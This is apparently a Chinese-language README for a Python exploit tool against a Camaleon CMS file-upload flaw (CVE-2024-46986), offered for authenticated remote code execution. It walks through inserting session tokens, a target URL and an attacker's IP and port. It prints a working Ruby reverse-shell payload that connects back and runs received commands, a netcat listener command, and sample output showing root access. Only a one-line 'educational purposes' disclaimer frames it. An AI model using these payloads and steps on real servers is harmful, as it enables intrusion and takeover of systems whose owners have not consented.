
Camaleon CMS 任意文件上传漏洞(CVE-2024-46986)的自动化 Python 利用工具。支持用于认证后远程代码执行的反弹 Shell 和命令执行载荷。
该存储库包含一个 Python 脚本,用于自动化利用 Camaleon CMS 中的文件上传漏洞。该漏洞允许攻击者向服务器上传任意文件(如 Ruby 脚本),可能导致远程代码执行 (RCE) 或其他严重安全影响。
requests 库自动化整个过程。有效用户凭证:需要经过身份验证的会话才能利用漏洞。你需要一个有效用户的 auth_token 和 _cms_session。
Python 3.x:确保已安装 Python 3.x。
Python requests 库:如果尚未安装,请安装 requests 库。
pip install requests
克隆存储库:
bash
https://github.com/vidura2/CVE-2024-46986.git cd CVE-2024-46986
将 Python 脚本中的占位符 `your_auth_token_here`、`your_session_token_here` 和 `https://target_site_here` 替换为实际值。
如果使用反弹 Shell 有效载荷,还需要将 `your_ip` 和 `your_port` 替换为你的 IP 地址以及你将设置监听器的端口。
**反弹 Shell**:要上传反弹 Shell,请将脚本中的 `payload_type` 变量设置为 `"reverse_shell"`。
**命令执行**:要上传执行系统命令的脚本,请将 `payload_type` 设置为 `"command_execution"`。你将能够重复输入要在目标服务器上执行的命令。
bash
python exploit_camaleon.py
如果使用命令执行有效载荷,你可以输入多个命令:
bash
Enter a system command to execute (or type 'exit' to quit): whoami
Enter a system command to execute (or type 'exit' to quit): ls
Enter a system command to execute (or type 'exit' to quit): exit
有效载荷类型
反弹 Shell 有效载荷会连接回攻击者的机器,允许在服务器上远程执行代码。
修改 Python 代码中 Ruby 脚本的 IP 和端口。
示例有效载荷:
ruby
require 'socket' s = TCPSocket.open('your_ip', your_port) while (cmd = s.gets) IO.popen(cmd, 'r') do |io| s.print io.read end end
在你的机器上使用 netcat 设置监听器:
bash
nc -lvnp <your_port>
2. 命令执行
此有效载荷上传一个执行系统命令(例如 whoami)的 Ruby 脚本到服务器。你可以在执行期间重复输入命令。
脚本会不断询问命令,直到你输入 exit。
示例:
ruby
system("whoami")
成功利用的示例
一旦漏洞被成功利用,你应该会在终端中看到指示成功的输出:
python
Exploit executed successfully with payload type: reverse_shell!
如果你使用反弹 Shell,netcat 监听器将让你能够访问受感染服务器的 Shell。
对于命令执行有效载荷:
bash
Enter a system command to execute (or type 'exit' to quit): whoami Command 'whoami' executed successfully! Response: root
此脚本仅用于教育目的。作者对因使用此漏洞而造成的任何误用或损害概不负责。在测试或利用漏洞之前,请务必确保你已获得许可。 贡献
欢迎提交问题或拉取请求以改进或添加功能!
本项目采用 MIT 许可证 - 详情请参见 LICENSE 文件。